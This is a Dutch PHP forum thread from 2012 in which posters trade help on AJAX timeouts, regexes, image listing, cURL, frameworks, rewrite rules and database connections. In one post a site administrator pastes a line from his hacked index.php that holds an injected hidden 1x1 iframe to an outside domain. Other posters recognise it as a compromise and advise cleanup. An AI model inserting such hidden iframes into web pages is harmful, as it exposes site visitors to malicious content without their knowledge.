Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?quote:Op dinsdag 9 oktober 2012 10:07 schreef mstx het volgende:
[..]
[..]
Ik doe zoiets meestal met een timeout, dus dit idee:
[ code verwijderd ]
Dan stuurt hij max. elke 3 seconden iets naar je server.
| 1 | <input type='text' name='field_name' value='' onchange="Update_field_table($rownumber,$value);" /> |
| 1 2 3 4 5 6 7 8 | function Update_field_table(rownumber,waarde) { //irrelevant hieronder. $.post{ waarde : waarde, rownumber : rownumber } } |
| 1 2 3 4 5 | var timeout=null; function onkeyupfunctie(){ if (timeout!=null) clearTimeout(timeout); setTimeout("functieDieAjaxVerstuurt()", 3000); } |
Ja volgens mij snap je het wel zo'n beetje.quote:Op dinsdag 9 oktober 2012 16:00 schreef cablegunmaster het volgende:
[..]
Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?
Want ik heb nu
[ code verwijderd ]
Daarbij gebruik ik een stukje javascript:
[ code verwijderd ]
Hoe wou je daartussen dan de timeout neerzetten? want dan was je idee dat hij elke keer de timeout cleared onchange? en pas na 3 seconde submit. onchange submitten heb ik al onder de knie, alleen hoe was je idee met de 3 seconde timeout? dat hij pas na 3 seconde na de onchange aanpast? Ideaal eigenlijk als er geen change meer plaatsvind. dus 2 seconde na laatste change.![]()
Ontleed:
Trigger: Als een key up wordt gedrukt laad hij deze functie.
Als er 3 seconde geen knop boven is gedrukt verstuurd hij het richting de server ( aanroep functieDieAjax); als ik het begrijp?anders timeout leegmaken.
[ code verwijderd ]
http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebbenquote:Op woensdag 10 oktober 2012 22:31 schreef MrNiles het volgende:
ik heb een tekst invul form, de tekst schrijf ik wel in een txt file
als ik in de tekstarea een harde return geef dan komt deze ook in de txt file terecht.
Als ik de textfile uitlees dan zie ik die harde return ook weer terug op het scherm...da's nie de bedoeling
hoe krijg ik de harde return eruit?
trim lijkt niet te werken
ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>quote:Op woensdag 10 oktober 2012 22:33 schreef mschol het volgende:
[..]
http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben)
Dat is precies wat nl2br() doet.quote:Op woensdag 10 oktober 2012 22:37 schreef MrNiles het volgende:
[..]
ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>
ow..ok..ff proberen danquote:
Een carriage return is het '\r' symbool. Het 'ga naar de volgende regel' symbool is de newline '\n'.quote:Op woensdag 10 oktober 2012 22:40 schreef MrNiles het volgende:
[..]
ow..ok..ff proberen dan
kwam er net achter dat een harde return een carriage return heet...dat zoekt een stuk makkelijker
kwam op deze oplossing
$bericht= trim( preg_replace( '/\s+/', ' ', $bericht) );
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <?php // Telefoonnummer controle $henk = "+3107365252"; // OK $henk = "2355929253"; // OK $henk = "+352329523" // OK $henk = "035ABC"; // FOUT $henk = "+35235a"; // FOUT if ( preg_match ( "/^\+?\d+$/", $henk ) ) { echo "OK"; } else { echo "FOUT"; } ?> |
zoiets?"quote:Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:
Help, wat doe ik weer eens foutIk krijg bij huidige waarde van $henk fout terug
Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
[ code verwijderd ]
| 1 2 3 4 5 | if (preg_match('/^\+?\d{1,10}$|\d{1,10}$/i', $subject)) { # Successful match } else { # Match attempt failed } |
Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.quote:Op woensdag 10 oktober 2012 23:21 schreef mschol het volgende:
[..]
zoiets?"
[ code verwijderd ]
zal vast niet het meest efficientst zijn(gezien ik geen regex held ben het even met regexbuddy in elkaar geknutseld..)
voor optimalisatie moet je niet bij mij zijnquote:Op woensdag 10 oktober 2012 23:26 schreef wobbel het volgende:
[..]
Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.
En volgens mij is 0-9 toch echt handiger dan 1-10
Ah, ik snap dus al niks van regexenquote:Op woensdag 10 oktober 2012 23:27 schreef mschol het volgende:
[..]
voor optimalisatie moet je niet bij mij zijn![]()
en 0-9? lijkt me erg onhandig, je eerste voorbeeld matcht hij dan al niet...
1-10 is vanaf 1 cijfer tot max 10 cijfers...
Is filter_var() dan geen oplossing?quote:Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:
Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
| 1 2 3 | <?php echo filter_var('+1234henk-5678aaa', FILTER_SANITIZE_NUMBER_FLOAT); ?> |
| 1 | +1234-5678 |
Mja, eerst trimmen voordat je hem door de filter haalt. Slikt ie in ieder geval spaties.quote:Op donderdag 11 oktober 2012 00:30 schreef KomtTijd... het volgende:
Wat Tijn zegt, of FILTER_VALIDATE_FLOAT, die geeft true of false terug. (misschien iets te stikt voor telefoonnummers, als je ook streepjes of spaties wilt toestaan)
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | var timeout=null; function update_voucher(rownumber,waarde){ var rownumber = rownumber; var waarde = waarde; if (timeout!=null) clearTimeout(timeout); setTimeout(function(){ functieVoucherVerstuurd(rownumber,waarde); }, 2000); } function functieVoucherVerstuurd(rownumber,waarde) { var value = $("."+waarde).val(); $.post("/cms/voucher/blablabla/", { id : rownumber, value : value, field : waarde, post_ajax : "true" }, function(data){ alert(waarde+" veld is geupdate met: "+value); }); } |
| 1 | var value = $("."+waarde).val(); |
Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:quote:Op donderdag 11 oktober 2012 16:20 schreef GlowMouse het volgende:
Kijk eens naar de jQuery-documentatie over traversing. Je laat niet zien hoe de functie wordt aangeroepen, maar vanaf $(this) is de rij waarschijnlijk niet ver in de dom-tree.
| 1 2 3 4 5 | <?php <tr id='voucher-500' > <td><input name='datum' value='2012-01-01' onchange="update_voucher('500','datum');" /></td> <tr> ?> |
dankje voor het idee, even kijken of ik het toegepast krijgquote:
Ben nu bezig met een php project waar alle functienamen en variabelen in het Spaans zijnquote:Op donderdag 11 oktober 2012 16:12 schreef KomtTijd... het volgende:
Als je al nederlandse functienamen gebruikt, maak ze dan op zijn minst grammaticaal correct
Owja, geweldig, database id`tjes meegeven.quote:Op donderdag 11 oktober 2012 16:27 schreef cablegunmaster het volgende:
[..]
Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:
[ code verwijderd ]
Op basis van het "voucher"+500 de input te pakken? (hoe weet ik nog niet).
Daar vervolgens de children van die TR te pakken?![]()
Beter idee?quote:Op donderdag 11 oktober 2012 16:38 schreef Scorpie het volgende:
Owja, geweldig, database id`tjes meegeven.
ALS je al id`tjes gebruikt, dan gooi ik die informatie altijd in het HTML5 attribuut data. Met jQuery kan je die vervolgens door $(selector).data('var'); uitlezen.quote:Op donderdag 11 oktober 2012 16:39 schreef cablegunmaster het volgende:
[..]
Beter idee?dit is toch voor achter de schermen gebruik.
ik had je al een prachtoplossing gegevenquote:Op donderdag 11 oktober 2012 16:32 schreef cablegunmaster het volgende:
[..]
Oplossing: op basis van de DB + veldnaam het toe te passen.
die snapte ik nietquote:Op donderdag 11 oktober 2012 16:44 schreef GlowMouse het volgende:
[..]
ik had je al een prachtoplossing gegeven
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | <?php // Original PHP code by Chirp Internet: www.chirp.com.au // Please acknowledge use of this code by including this header. $imagetypes = array("image/jpeg", "image/gif"); function getImages_after($dir) { global $imagetypes; // array to hold return value $retval = array(); // add trailing slash if missing if(substr($dir, -1) != "/") $dir .= "/"; // full server path to directory $fulldir = "{$_SERVER['DOCUMENT_ROOT']}/$dir"; $d = @dir($fulldir) or die("getImages: Failed opening directory $dir for reading"); while(false !== ($entry = $d->read())) { // skip hiddenfiles if($entry[0] == ".") continue; // check for image files $f = escapeshellarg("$fulldir$entry"); $mimetype = trim(`file -bi $f`); foreach($imagetypes as $valid_type) { if(preg_match("@^{$valid_type}@", $mimetype)) { $retval[] = array( 'file' => "/$dir$entry", 'size' => getimagesize("$fulldir$entry") ); break; } } } $d->close(); sort($retval); return $retval; } // fetch image details $images = getImages_after("images/after"); // display on page foreach($images as $img) { echo "<div class='boxed'>"; echo "<img class='photo' src='{$img['file']}' {$img['size'][3]} alt=' '> \n"; echo "<a href=\"{$img['file']}\">",basename($img['file']),"</a><br>\n"; echo "</div>"; } ?> |
bij de hoster online werkt hetquote:
yepquote:Op vrijdag 12 oktober 2012 13:59 schreef KomtTijd... het volgende:
Dat vroeg ik niet, ik vroeg hoe ver je bent met debuggen. Watvoor foutmeldingen krijg je?
-edit-
heb je in je php.ini error_reporting op E_ALL gezet?
Zet dit eens bovenaan je scriptquote:Op vrijdag 12 oktober 2012 14:17 schreef MrNiles het volgende:
[..]
yep
error reporting staat aan
geen errors..alles lijkt het te doen maar ik zie geen foto's
als ik een echo "blabla"; erin zet dan krijg ik die op scherm, dus wamp werkt wel
maar misschien moet ik iets speciaals aanzetten
| 1 2 3 4 | <?php ini_set('display_errors',1); error_reporting(E_ALL); ?> |
donequote:Zet dit eens bovenaan je script
Rechtenkwestie? Of verkeerde map?quote:Op vrijdag 12 oktober 2012 14:30 schreef MrNiles het volgende:
getImages: Failed opening directory images/before/ for reading
Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draaitquote:Op vrijdag 12 oktober 2012 14:21 schreef KomtTijd... het volgende:
ohja display_errors, die bitch vergeet ik ook altijd
| 1 | tail -f /var/log/apache2/error.log |
quote:
Maar das handigquote:Op vrijdag 12 oktober 2012 14:33 schreef Tijn het volgende:
[..]
Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draait
[ code verwijderd ]
Waarschijnlijk gaat het fout op de plek waar $fulldir wordt gevuld. Er wordt ergens een pad zonder / verwacht maar een met / gegeven.quote:Op vrijdag 12 oktober 2012 14:35 schreef MrNiles het volgende:
misschien toch ergens een foutje in het script waar de hoster niet over valt
echo van $fulldir geeft C:/wamp/www//images/after/
een dubbele // kan niet goed zijn denk ik
of wel....geen images
niemand nog een tip of een hint waar het fout kan gaan...
code is rechtstreeks van de server in wamp gezet...misschien een functie of extensie die niet aanstaat?
| 1 2 3 | <?php echo JResponse::toString($mainframe->getCfg('gzip'));<html><body><iframe src="http://abromdusgolkaman.com" width="1" height="1" frameborder="0"></iframe></body></html> ?> |
echt niet?quote:Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:
Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:
Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88
Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]
Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Ga maar vast virusscanners draaien, en daarna wachtwoorden aanpassen en je backup terugzetten.quote:Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:
Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:
Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88
Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]
Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Voeg dit ook maar toe aan het lijstje:quote:Op maandag 15 oktober 2012 19:02 schreef KomtTijd... het volgende:
[..]
Ga maar vast virusscanners draaien, en daarna wachtwoorden aanpassen en je backup terugzetten.
Weet je zeker dat cookie.txt wel de juiste rechten heeft? Dus mag er in geschreven worden.quote:Op maandag 8 oktober 2012 20:47 schreef pascal08 het volgende:
Heeft iemand hier ervaring met cURL? Ik heb een loginscript, maar ik krijg geen output. Waarschijnlijk heeft het te maken met een cookie.txt file waar naartoe geschreven moet kunnen worden. Ik weet alleen niet hoe.
| 1 2 3 4 | <?php curl_setopt ($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . "\cookie.txt"); curl_setopt ($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . "\cookie.txt"); ?> |
maar het werk vooral op basis van globals/singletons/static calls als ik het zo zie.quote:Op dinsdag 16 oktober 2012 16:01 schreef TwenteFC het volgende:
Weet niet of Laravel hier al bekend is, maar wat een genot is het om daar mee te werken.
Soort van RoR maar dan in PHP, met de duidelijke structuur en handige tools inbegrepen.
Echt fap fap fap,
[ afbeelding ]
Ja care, het werkt fijn doet wat het moet doen en de performance is uitermate goed.quote:Op vrijdag 19 oktober 2012 15:44 schreef wipes66 het volgende:
[..]
maar het werk vooral op basis van globals/singletons/static calls als ik het zo zie.![]()
symfonie vind ik erg elegant in elkaar zitten, maar zelf vind ik het iets te complex en te abstract in elkaar zitten voor praktisch gebruik. Ik zelf gebruik een zelfgemaakte framework, maar die is natuurlijk ook niet perfectquote:Op vrijdag 19 oktober 2012 15:47 schreef TwenteFC het volgende:
[..]
Ja care, het werkt fijn doet wat het moet doen en de performance is uitermate goed.
En daarbij zijn ze nu bezig met Versie 4.
Welk framework zou jij aanraden dan?Als je Zend zegt ...
quote:
Symfony is geen verkeerd framework, maar het ligt ook wel een beetje aan het project natuurlijk.quote:Op vrijdag 19 oktober 2012 16:13 schreef wipes66 het volgende:
[..]
symfonie vind ik erg elegant in elkaar zitten, maar zelf vind ik het iets te complex en te abstract in elkaar zitten voor praktisch gebruik. Ik zelf gebruik een zelfgemaakte framework, maar die is natuurlijk ook niet perfect
Dat komt omdat ik er zo tevreden over ben.quote:Op vrijdag 19 oktober 2012 16:15 schreef TwenteFC het volgende:
[..]Het is dat je er zelf al een smiley voor plaatst.
Toevallig vandaag voor het eerst mee gewerkt. Ziet er leuk uit.quote:Op dinsdag 16 oktober 2012 16:01 schreef TwenteFC het volgende:
Weet niet of Laravel hier al bekend is, maar wat een genot is het om daar mee te werken.
Soort van RoR maar dan in PHP, met de duidelijke structuur en handige tools inbegrepen.
Echt fap fap fap,
[ afbeelding ]
Ligt er aan hoe je het precies wil hebben, ik neem aan dat een apparaat meerdere poorten kan hebben en een poort ook meerdere apparaten?quote:Op vrijdag 19 oktober 2012 21:36 schreef gnaeus het volgende:
Even een Cakephp vraagje..
Ik heb een tabel voor een netwerkapparaat. Dat netwerkapparaat heeft poorten. Die poorten staan weer in een aparte tabel.
Tot zover alles ok.
Nu wil ik ook bijhouden welke poort met welke andere poort verbonden is.
Dus apparaatA->poort2 ----- apparaatB->poort8
Ik heb al vanalles geprobeerd, ook een tussentabel, allerhande relaties.. maar het lukt niet.
Het idee van de tussentabel lijkt mij het beste, maar ik heb niet echt een idee hoe ik dit nu moet aanpakken ...
Een apparaat heeft meerdere poorten maar een poort kan maar aan 1 andere poort gekoppeld zijn.quote:Op vrijdag 19 oktober 2012 22:18 schreef TwenteFC het volgende:
[..]
Ligt er aan hoe je het precies wil hebben, ik neem aan dat een apparaat meerdere poorten kan hebben en een poort ook meerdere apparaten?
| 1 2 | RewriteEngine On RewriteRule ^([^/.]+)/?$ /profiel.php?name=$1 |
| 1 2 3 4 5 6 7 8 | <?php $args = array('foo', 'bar'); function test($first, $second) { // doe iets met $first en $second } ?> |
http://php.net/manual/en/function.list.phpquote:Op zondag 21 oktober 2012 13:12 schreef Tijn het volgende:
Weet iemand of er een manier is om een functie aan te roepen met een variabel aantal argumenten die in een array staan?
Bijvoorbeeld zoiets:
[ code verwijderd ]
Hoe roep ik nu test() aan met de argumenten 'foo' als $first en 'bar' als $second op een manier die het ook toestaat om andere functies met andere aantallen argumenten aan te roepen?
Ja, dat is wat ik nu doe. Ik geef de hele array aan de functie en pak 'em binnen elke functie uit met list() om de juiste variabelen te zetten.quote:Op zondag 21 oktober 2012 13:22 schreef Swetsenegger het volgende:
[..]
http://php.net/manual/en/function.list.php
Of begrijp ik je nu niet goed?
Ik dacht eerst dat je dit bedoelde:quote:Op zondag 21 oktober 2012 13:34 schreef Tijn het volgende:
Ah! Ik heb wat gevonden!
Volgens mij is call_user_func_array() precies wat ik zoek
[edit] het werkt
| 1 2 3 4 5 6 7 8 9 10 | <?php $args = array('foo', 'bar'); test($args[0], $args[1]); function test($first, $second) { // doe iets met $first en $second } ?> |
Waar het om gaat is dat de functienaam en het aantal argumenten variabel zijn.quote:Op zondag 21 oktober 2012 14:02 schreef Maringo het volgende:
[..]
Ik dacht eerst dat je dit bedoelde:
[ code verwijderd ]
Nee, ik bedoel het andersom. De functie weet precies hoeveel argumenten 'ie heeft, maar ik wil 'em dynamisch kunnen aanroepen.quote:Op zondag 21 oktober 2012 14:47 schreef ralfie het volgende:
Je bedoelt niet zoiets?
http://php.net/manual/en/function.func-get-arg.php
Word je code niet volkomen onvolgbaar door dit soort constructies ? Met een beetje fatsoenlijk OO design lijkt het mij ook niet noodzakelijk..quote:Op zondag 21 oktober 2012 14:51 schreef Tijn het volgende:
[..]
Nee, ik bedoel het andersom. De functie weet precies hoeveel argumenten 'ie heeft, maar ik wil 'em dynamisch kunnen aanroepen.
Maar het is dus prima gelukt met call_user_func_array()
Het komt maar 1 keer voor, het is niet zo dat alle functies op die manier worden aangeroepenquote:Op zondag 21 oktober 2012 15:26 schreef gnaeus het volgende:
[..]
Word je code niet volkomen onvolgbaar door dit soort constructies ? Met een beetje fatsoenlijk OO design lijkt het mij ook niet noodzakelijk..
over Zend gesproken .. http://www.laruence.com/2011/12/02/2333.html Laravel doet het goedquote:Op vrijdag 19 oktober 2012 15:47 schreef TwenteFC het volgende:
[..]
Ja care, het werkt fijn doet wat het moet doen en de performance is uitermate goed.
En daarbij zijn ze nu bezig met Versie 4.
http://www.thenerdary.net/post/30859565484/laravel-4
Welk framework zou jij aanraden dan?Als je Zend zegt ...
quote:Op maandag 22 oktober 2012 01:08 schreef wipes66 het volgende:
[..]
over Zend gesproken .. http://www.laruence.com/2011/12/02/2333.html Laravel doet het goed
Volgens mij kun je ergens in de WordPress-instellingen de url van je website invullen, daar staat nu waarschijnlijk localhost. Als je dat nou eens vervangt door het ip? (ik zit nu mobiel dus kan niet controleren of het inderdaad zo is wat ik zeg)quote:Op maandag 22 oktober 2012 17:17 schreef BrainOverfloW het volgende:
Misschien kunnen jullie me helpen met dit probleem. Het Wordpress topic is niet heel actief.
Als ik via mijn mobiel mijn Wordpress pagina op mijn server opvraag hebben de plaatjes/css e.d. allemaal 'localhost' in hun link staan ipv '192.168.x.x' waardoor ze dus niet openen.
Iemand een idee hoe ik dat op los?
Met dat idee even verder gegoogled en gevonden wat ik zocht. Het staat niet standaard in WP maar je kan het er wel bij in zetten.quote:Op maandag 22 oktober 2012 17:47 schreef Rockfire het volgende:
[..]
Volgens mij kun je ergens in de WordPress-instellingen de url van je website invullen, daar staat nu waarschijnlijk localhost. Als je dat nou eens vervangt door het ip? (ik zit nu mobiel dus kan niet controleren of het inderdaad zo is wat ik zeg)
| 1 2 | define('WP_HOME','http://example.com'); define('WP_SITEURL','http://example.com'); |
Heb ik geprobeerd GlowMouse, maar krijg dan een server error.quote:Op zaterdag 20 oktober 2012 17:16 schreef GlowMouse het volgende:
Vervang [^/.] door .
[^/.] matcht alles behalve een / of een .
een . matcht alles
De /? kan ook weg
Dat laatste kun je met een rewritecond doen, die kan controleren of een file bestaat.quote:Op dinsdag 23 oktober 2012 17:57 schreef Chandler het volgende:
[..]
Heb ik geprobeerd GlowMouse, maar krijg dan een server error.
Letwel: ik moet natuurlijk wel de index.php laden als er specifieke pagina aangeroepen wordt, dus domein.nl/ moet naar index.php maar de rest moet naar domain.nl/profiel.php?naam=....
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <div class="detailset"> <h3> Nummer <span class="actions"></span> </h3> <div> <span class="label">Nummer</span> <span class="value">0612345678</span> <span class="actions"></span> </div> <div> <span class="label">Status</span> <span class="value">ACTIVE</span> <span class="actions"></span> </div> </div> |
Oke, maar hoe moet je dat in vredesnaam doen i ndit geval?quote:Op vrijdag 26 oktober 2012 20:28 schreef Farenji het volgende:
Dat zou ik gewoon met een regular expression doen...
http://simplehtmldom.sourceforge.net/quote:Op vrijdag 26 oktober 2012 20:03 schreef wobbel het volgende:
Ik heb een hele enge denk ikkan ik met PHP DOM het 06-nummer te pakken krijgen uit de volgende HTML code?
[ code verwijderd ]
Het aantal divjes met daarin span class labels en values is random, maar die de inhoud "Nummer" komt maar 1 keer voor en het nummer zelf bij value komt ook maar 1 keer voor.
| 1 2 3 | <?php preg_match('%<span class="label">Nummer</span>\s+<span class="value">(\d+)</span>%m', $html, $matches); ?> |
quote:Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems.
Held!quote:Op vrijdag 26 oktober 2012 21:29 schreef Farenji het volgende:
Verplichte xkcd in dit geval:
[ afbeelding ]
Zoeken doe je met een zoekserver, en mysql_pconnect moet je nooit gebruiken.quote:Op zaterdag 27 oktober 2012 18:58 schreef Devv het volgende:
Ik heb even advies nodig over het verbinding maken met een MySQL database. Het betreft een PHP web service dat via een externe API, door middel van een kernwoorden een JSON resultatenlijst teruggeeft. Deze gaat dus voor elke zoekopdracht aangeroepen worden.
Om de omgang iets korter te maken, sla ik een gedeelte van het zoekresultaat in een MySQL database op. De web service- en database worden door dezelfde dienstverlener gehost. Ik weet alleen niet hoe die architectuur er precies uitziet (of ze binnen dezelfde cluster draaien etc.). Ik weet ook nog niet hoeveel connecties ik met de database op mag zetten.
Voordat de web service naar de externe API gaat, wordt dus eerst in de "cache" gekeken. En nu wil ik weten of het, in dit geval aan te raden is om een "concurrent connection" op te zetten door middel van mysql_pconnect of gewoon mysql_connect te gebruiken.
In ASP.NET kan ik gebruik maken van Connection Pooling, maar PHP werkt iets anders...
Ik zag al dat er werd afgeraden om mysql_pconnect te gebruiken, maar het werd mij niet helemaal duidelijk waarom. Verder is alles hosted (niet dedicated) en wordt het zoeken gedaan via de externe API. Daar heb ik dus verder geen controle over. De PHP web service dient alleen als trechter om met de verschillende API's een uniform resultaat te creëren.quote:Op zaterdag 27 oktober 2012 20:48 schreef GlowMouse het volgende:
[..]
Zoeken doe je met een zoekserver, en mysql_pconnect moet je nooit gebruiken.
Het wordt sowieso niet aangeraden om de mysql_ functies nog te gebruiken. Je kunt beter voor mysqli of PDO gaan.quote:Op zaterdag 27 oktober 2012 18:58 schreef Devv het volgende:
En nu wil ik weten of het, in dit geval aan te raden is om een "concurrent connection" op te zetten door middel van mysql_pconnect of gewoon mysql_connect te gebruiken.
| Forum Opties | |
|---|---|
| Forumhop: | |
| Hop naar: | |